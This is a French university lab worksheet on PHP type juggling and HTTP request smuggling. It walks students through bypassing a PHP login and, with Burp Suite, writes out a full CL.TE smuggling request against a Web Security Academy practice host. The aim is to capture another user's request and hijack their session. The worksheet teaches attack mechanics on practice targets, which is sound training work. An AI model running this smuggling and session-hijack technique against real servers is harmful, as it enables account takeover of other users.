TP - Type Juggling & Request smuggling

Exercice 1 : Type juggling

L'objectif de cet exercice est de contourner la sécurité de la page "auth.php" en utilisant la technique de type juggling. Vous devrez utiliser un **login** et un **mot de passe** pour accéder à cette page, mais il ne s'agit pas simplement de saisir les bons identifiants dans un formulaire. Vous devrez plutôt utiliser vos connaissances sur le type juggling pour trouver une faille de sécurité dans le code. L'exercice vous permettra de comprendre comment cette technique peut être utilisée pour exploiter des vulnérabilités, afin que vous puissiez les éviter dans le futur.

Utilisation avec docker

Pour l'utilisation avec docker, exécutez la commande "**docker-compose up**" dans le dossier "**exercice1/docker-tp**". Vous pourrez alors accéder aux fichiers en utilisant l'adresse "**localhost:82**".

Les fichiers sources se situent dans le dossier "www".

Utilisation avec PHP installé sur votre machine (version PHP < 8)

Dans le dossier "**exercice1/php-tp**", faites la commande suivante : "**php -S localhost:8080**" (ou un autre port si déjà pris).

Vous avez désormais accès aux questions sur l'adresse "**localhost :8080**".

Question 1 : Sur le login, vous devez vous **connecter en tant qu'administrateur** en utilisant le type juggling à votre avantage (vous pouvez regarder le code source plus en profondeur). Bien sûr, il ne s'agit pas juste d'entrer le bon mot de passe dans le formulaire, ce serait trop simple. Dans un cas concret vous n'auriez ni le mot de passe en clair ni un formulaire non sécurisé, cependant cet exercice est là pour que vous compreniez le fonctionnement du type juggling et que vous évitiez de répéter ces erreurs.

Question 2 : Reproduisez la **même chose** pour la question 2 mais sans passer par un formulaire cette fois-ci.

Pour vous aider voici les **tables de comparaison de types de PHP** (à noter que depuis PHP 8, certaines ont changé c'est pour cela qu'il vous faut une version antérieure).

Loose comparisons with ==

	TRUE	FALSE	1	0	-1	"1"	"0"	"-1"	NULL	array()	"php"	""
TRUE	TRUE	FALSE	TRUE	FALSE	TRUE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE
FALSE	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	TRUE	TRUE	FALSE	TRUE
1	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
0	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	TRUE	FALSE	TRUE	TRUE
-1	TRUE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE
"1"	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
"0"	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE
"-1"	TRUE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE
NULL	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	TRUE	TRUE	FALSE	TRUE
array()	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	TRUE	FALSE	FALSE
"php"	TRUE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE
""	FALSE	TRUE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	TRUE

Strict comparisons with ===

	TRUE	FALSE	1	0	-1	"1"	"0"	"-1"	NULL	array()	"php"	""
TRUE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
1	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
0	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
-1	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
"1"	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE
"0"	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE	FALSE
"-1"	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE	FALSE
NULL	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE	FALSE
array()	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE	FALSE
"php"	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE	FALSE
""	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	FALSE	TRUE

À savoir que PHP n'est pas le seul langage potentiellement victime de type juggling, **soyez donc vigilants**.

Exercice 2 : Request smuggling

Pour commencer, **installez** le logiciel **Burp Suite** sur votre machine, accessible ici (pour Windows), si vous êtes sur les machines de l'IUT faites attention de prendre la version **Community 2022.1.1** puis exécutez le "**java -jar burpsuite_community_v2022.1.1.jar**".

Pour ceux qui sont sur les machines de l'**IUT** vous devez **désactiver le proxy** :
unset http_proxy
unset https_proxy

Pensez à le **réactiver après le TP** :
export http_proxy=http://193.49.118.36:8080
export https_proxy=http://193.49.118.36:8080

Une fois celui-ci ouvert, rendez-vous dans l'onglet "**Proxy**" puis le sous-onglet "**Intercept**".
Puis cliquez sur le bouton "**Open browser**" au milieu de la fenêtre.
Ensuite, sur le navigateur fraîchement ouvert, **créez un compte** sur ce site, puis **connectez-vous** pour accéder, en cliquant de nouveau sur le lien, à un site de test (blog).

Cliquez sur "**View post**" sur un des posts de la page.
Sur celui-ci écrivez un commentaire, revenez sur Burp et cliquez sur "**Intercept is off**" pour démarrer l'interception des requêtes HTTP, puis postez le.

Vous devriez voir apparaître votre requête dans Burp, sur celle-ci, clic droit puis "**Send to repeater**", vous pouvez alors décocher "**Intercept is on**".

Revenez sur le blog et vérifiez que votre commentaire a bien été posté.

Vous pouvez aller dans l'onglet "**Repeater**" désormais. Veillez à ne **garder que les lignes suivantes** :

POST /post/comment HTTP/1.1
Host: 0aa000b604a2d855c0395949009a0021.web-security-academy.net
Cookie: session=cWkqkVTbZpywNjSgrQ96xgafjdNcMQ5O
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

csrf=jLsDbxBEfmpi2xJLNAaTO8DELEyD2pfk&postId=5&comment=test&name=toto&email=toto%40gmail.com&website=

Modifiez ensuite **la requête** comme suit :
Partie ajoutée - Partie déplacée - Partie modifiée

POST / HTTP/1.1
Host: 0aa000b604a2d855c0395949009a0021.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 262 (ici votre length de base)
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Cookie: session=cWkqkVTbZpywNjSgrQ96xgafjdNcMQ5O
Content-Type: application/x-www-form-urlencoded
Content-Length: 810

csrf=jLsDbxBEfmpi2xJLNAaTO8DELEyD2pfk&postId=5&name=toto&email=toto%40gmail.com&website=&comment=xxxxxxxxx
Ensuite, cliquez sur "**Send**" pour envoyer la requête au serveur. Ce dernier ajoutera la fin de votre requête au début de celle du prochain utilisateur (des bots effectuent des requêtes GET de manière régulière). Vous devriez recevoir un message "HTTP/1.1 200 OK" en réponse. **Rafraîchissez** ensuite la page du navigateur pour voir un nouveau commentaire publié sous votre nom, mais contenant une partie des informations de la requête suivante. Vous pouvez répéter l'opération avec des longueurs de contenu différentes (cela vous sera très utile).
Notez que les commentaires commençant par "GET /post?postId=x HTTP/1.1" ne sont pas corrects, vous devrez répéter l'opération pour obtenir "GET / HTTP/1.1". Ce processus peut être long si vous n'êtes pas chanceux, soyez patient.

Une fois la requête “GET / HTTP/1.1” obtenue en intégralité vous devez **utiliser certaines informations** de celle-ci pour vous connecter à la session d’un utilisateur et réussir l’exercice.

Résultat attendu :